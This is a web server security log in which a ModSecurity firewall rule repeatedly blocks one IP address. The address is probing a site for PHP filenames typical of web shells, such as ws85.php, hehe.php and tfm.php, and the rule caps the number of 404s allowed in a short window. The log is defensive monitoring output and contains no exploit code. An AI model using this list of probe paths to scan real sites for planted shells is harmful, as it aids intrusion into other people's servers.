[Sun Mar 29 23:22:44.986364 2026] [:error] [pid 23284:tid 23295] [client 68.155.145.150:12098] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/166.php"] [unique_id "aclDxIzBujdPHsq7wyTj4QAAAok"]
[Sun Mar 29 23:22:45.707660 2026] [:error] [pid 23284:tid 23308] [client 68.155.145.150:12135] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/166.php"] [unique_id "aclDxYzBujdPHsq7wyTj6AAAApY"]
[Sun Mar 29 23:22:46.404003 2026] [:error] [pid 23284:tid 23306] [client 68.155.145.150:12050] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/domains.php"] [unique_id "aclDxozBujdPHsq7wyTj8wAAApQ"]
[Sun Mar 29 23:22:46.892566 2026] [:error] [pid 23284:tid 23297] [client 68.155.145.150:12147] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/domains.php"] [unique_id "aclDxozBujdPHsq7wyTj-gAAAos"]
[Sun Mar 29 23:22:47.360324 2026] [:error] [pid 23168:tid 23214] [client 68.155.145.150:12156] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/domains.php"] [unique_id "aclDx2P8p0yRL8ot_2-66AAAAhE"]
[Sun Mar 29 23:22:47.817682 2026] [:error] [pid 32257:tid 32335] [client 68.155.145.150:12185] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/domains.php"] [unique_id "aclDxyE3TArOFrUtgWpoKAAAAJE"]
[Sun Mar 29 23:22:48.696622 2026] [:error] [pid 23284:tid 23298] [client 68.155.145.150:11923] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws85.php"] [unique_id "aclDyIzBujdPHsq7wyTkAgAAAow"]
[Sun Mar 29 23:22:49.330107 2026] [:error] [pid 23284:tid 23310] [client 68.155.145.150:12044] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws85.php"] [unique_id "aclDyYzBujdPHsq7wyTkBQAAApg"]
[Sun Mar 29 23:22:49.883975 2026] [:error] [pid 23168:tid 23204] [client 68.155.145.150:12184] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws85.php"] [unique_id "aclDyWP8p0yRL8ot_2-6-QAAAgc"]
[Sun Mar 29 23:22:50.393525 2026] [:error] [pid 23168:tid 23198] [client 68.155.145.150:12248] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws85.php"] [unique_id "aclDymP8p0yRL8ot_2-7AQAAAgE"]
[Sun Mar 29 23:22:50.982319 2026] [:error] [pid 23168:tid 23213] [client 68.155.145.150:12048] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aclDymP8p0yRL8ot_2-7BgAAAhA"]
[Sun Mar 29 23:22:51.420934 2026] [:error] [pid 23168:tid 23199] [client 68.155.145.150:12256] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aclDy2P8p0yRL8ot_2-7CgAAAgI"]
[Sun Mar 29 23:22:52.075273 2026] [:error] [pid 32255:tid 32308] [client 68.155.145.150:12037] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aclDzGnfn-AtRoMbquwWQQAAAFE"]
[Sun Mar 29 23:22:52.544713 2026] [:error] [pid 23284:tid 23291] [client 68.155.145.150:12213] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aclDzIzBujdPHsq7wyTkBwAAAoU"]
[Sun Mar 29 23:22:53.004362 2026] [:error] [pid 32257:tid 32340] [client 68.155.145.150:12061] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hehe.php"] [unique_id "aclDzSE3TArOFrUtgWpoNQAAAJY"]
[Sun Mar 29 23:22:53.395008 2026] [:error] [pid 23284:tid 23294] [client 68.155.145.150:12153] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hehe.php"] [unique_id "aclDzYzBujdPHsq7wyTkDAAAAog"]
[Sun Mar 29 23:22:53.795614 2026] [:error] [pid 23284:tid 23305] [client 68.155.145.150:12132] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hehe.php"] [unique_id "aclDzYzBujdPHsq7wyTkDgAAApM"]
[Sun Mar 29 23:22:54.252855 2026] [:error] [pid 23284:tid 23308] [client 68.155.145.150:12069] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hehe.php"] [unique_id "aclDzozBujdPHsq7wyTkEAAAApY"]
[Sun Mar 29 23:22:54.686281 2026] [:error] [pid 8818:tid 8827] [client 68.155.145.150:12120] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "aclDziCDvotZNSF0FBrziAAAAUU"]
[Sun Mar 29 23:22:55.134093 2026] [:error] [pid 8818:tid 8826] [client 68.155.145.150:12052] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "aclDzyCDvotZNSF0FBrziQAAAUQ"]
[Sun Mar 29 23:22:55.520777 2026] [:error] [pid 23284:tid 23300] [client 68.155.145.150:12084] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "aclDz4zBujdPHsq7wyTkFAAAAo4"]
[Sun Mar 29 23:22:55.954989 2026] [:error] [pid 8818:tid 8846] [client 68.155.145.150:12118] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "aclDzyCDvotZNSF0FBrzjAAAAVg"]
[Sun Mar 29 23:22:56.351372 2026] [:error] [pid 32257:tid 32327] [client 68.155.145.150:12041] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ne2026.php"] [unique_id "aclD0CE3TArOFrUtgWpoQwAAAIk"]
[Sun Mar 29 23:22:56.762760 2026] [:error] [pid 23250:tid 23253] [client 68.155.145.150:12208] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ne2026.php"] [unique_id "aclD0Jxrpj-dQjy1cvoVRwAAAkE"]
[Sun Mar 29 23:22:57.149791 2026] [:error] [pid 23167:tid 23170] [client 68.155.145.150:12057] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ne2026.php"] [unique_id "aclD0RIAHJCFaHff3_fW8gAAAcA"]
[Sun Mar 29 23:22:57.537069 2026] [:error] [pid 32255:tid 32305] [client 68.155.145.150:12158] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ne2026.php"] [unique_id "aclD0Wnfn-AtRoMbquwWTAAAAE4"]
[Sun Mar 29 23:22:57.937848 2026] [:error] [pid 32255:tid 32314] [client 68.155.145.150:12205] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws73.php"] [unique_id "aclD0Wnfn-AtRoMbquwWTgAAAFc"]
[Sun Mar 29 23:22:58.330106 2026] [:error] [pid 23167:tid 23174] [client 68.155.145.150:12189] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws73.php"] [unique_id "aclD0hIAHJCFaHff3_fW9AAAAcQ"]
[Sun Mar 29 23:22:58.720748 2026] [:error] [pid 23168:tid 23216] [client 68.155.145.150:12173] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws73.php"] [unique_id "aclD0mP8p0yRL8ot_2-7NwAAAhM"]
[Sun Mar 29 23:22:59.102638 2026] [:error] [pid 32254:tid 32266] [client 68.155.145.150:12157] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws73.php"] [unique_id "aclD06ug2IHuyGgCTn9l2AAAAAI"]
[Sun Mar 29 23:22:59.512527 2026] [:error] [pid 8818:tid 8836] [client 68.155.145.150:12126] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws84.php"] [unique_id "aclD0yCDvotZNSF0FBrzkAAAAU4"]
[Sun Mar 29 23:22:59.910045 2026] [:error] [pid 32257:tid 32338] [client 68.155.145.150:12045] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws84.php"] [unique_id "aclD0yE3TArOFrUtgWpoSwAAAJQ"]
[Sun Mar 29 23:23:00.308316 2026] [:error] [pid 32257:tid 32329] [client 68.155.145.150:11973] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws84.php"] [unique_id "aclD1CE3TArOFrUtgWpoTgAAAIs"]
[Sun Mar 29 23:23:00.723198 2026] [:error] [pid 32255:tid 32292] [client 68.155.145.150:12087] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws84.php"] [unique_id "aclD1Gnfn-AtRoMbquwWVQAAAEE"]
[Sun Mar 29 23:23:01.167431 2026] [:error] [pid 8818:tid 8844] [client 68.155.145.150:12036] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/baixy.php"] [unique_id "aclD1SCDvotZNSF0FBrzkQAAAVY"]
[Sun Mar 29 23:23:01.551151 2026] [:error] [pid 23167:tid 23178] [client 68.155.145.150:12211] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/baixy.php"] [unique_id "aclD1RIAHJCFaHff3_fW9gAAAcg"]
[Sun Mar 29 23:23:01.951582 2026] [:error] [pid 8818:tid 8835] [client 68.155.145.150:12130] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/baixy.php"] [unique_id "aclD1SCDvotZNSF0FBrzkwAAAU0"]
[Sun Mar 29 23:23:02.344441 2026] [:error] [pid 32257:tid 32342] [client 68.155.145.150:12079] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/baixy.php"] [unique_id "aclD1iE3TArOFrUtgWpoUwAAAJg"]
[Sun Mar 29 23:23:02.759620 2026] [:error] [pid 8818:tid 8845] [client 68.155.145.150:11974] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aclD1iCDvotZNSF0FBrzlAAAAVc"]
[Sun Mar 29 23:23:03.250889 2026] [:error] [pid 8818:tid 8834] [client 68.155.145.150:12141] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aclD1yCDvotZNSF0FBrzlQAAAUw"]
[Sun Mar 29 23:23:03.681090 2026] [:error] [pid 32257:tid 32325] [client 68.155.145.150:12207] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aclD1yE3TArOFrUtgWpoWwAAAIc"]
[Sun Mar 29 23:23:04.135853 2026] [:error] [pid 23284:tid 23301] [client 68.155.145.150:11914] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aclD2IzBujdPHsq7wyTkIAAAAo8"]
[Sun Mar 29 23:23:04.535803 2026] [:error] [pid 32255:tid 32303] [client 68.155.145.150:11986] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "aclD2Gnfn-AtRoMbquwWXQAAAEw"]
[Sun Mar 29 23:23:04.964069 2026] [:error] [pid 23284:tid 23303] [client 68.155.145.150:12212] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "aclD2IzBujdPHsq7wyTkKAAAApE"]
[Sun Mar 29 23:23:05.386429 2026] [:error] [pid 23284:tid 23307] [client 68.155.145.150:12078] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "aclD2YzBujdPHsq7wyTkLAAAApU"]
[Sun Mar 29 23:23:05.872111 2026] [:error] [pid 23284:tid 23292] [client 68.155.145.150:12055] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "aclD2YzBujdPHsq7wyTkMQAAAoY"]
[Sun Mar 29 23:23:06.386577 2026] [:error] [pid 23284:tid 23302] [client 68.155.145.150:12096] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws77.php"] [unique_id "aclD2ozBujdPHsq7wyTkOgAAApA"]
[Sun Mar 29 23:23:06.850967 2026] [:error] [pid 23284:tid 23309] [client 68.155.145.150:12056] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws77.php"] [unique_id "aclD2ozBujdPHsq7wyTkQgAAApc"]
[Sun Mar 29 23:23:07.355651 2026] [:error] [pid 23284:tid 23291] [client 68.155.145.150:12030] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws77.php"] [unique_id "aclD24zBujdPHsq7wyTkSgAAAoU"]
[Sun Mar 29 23:23:07.877386 2026] [:error] [pid 23167:tid 23189] [client 68.155.145.150:12155] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws77.php"] [unique_id "aclD2xIAHJCFaHff3_fW_AAAAdM"]
[Sun Mar 29 23:23:08.297150 2026] [:error] [pid 23168:tid 23210] [client 68.155.145.150:12053] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aclD3GP8p0yRL8ot_2-7bwAAAg0"]
[Sun Mar 29 23:23:08.721169 2026] [:error] [pid 23168:tid 23217] [client 68.155.145.150:12083] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aclD3GP8p0yRL8ot_2-7dAAAAhQ"]
[Sun Mar 29 23:23:09.127250 2026] [:error] [pid 23284:tid 23306] [client 68.155.145.150:12195] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aclD3YzBujdPHsq7wyTkWgAAApQ"]
[Sun Mar 29 23:23:09.533471 2026] [:error] [pid 23284:tid 23300] [client 68.155.145.150:12152] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aclD3YzBujdPHsq7wyTkXgAAAo4"]
[Sun Mar 29 23:23:10.046523 2026] [:error] [pid 23284:tid 23286] [client 68.155.145.150:12129] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "aclD3ozBujdPHsq7wyTkZAAAAoA"]
[Sun Mar 29 23:23:10.642177 2026] [:error] [pid 23284:tid 23288] [client 68.155.145.150:12076] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "aclD3ozBujdPHsq7wyTkawAAAoI"]
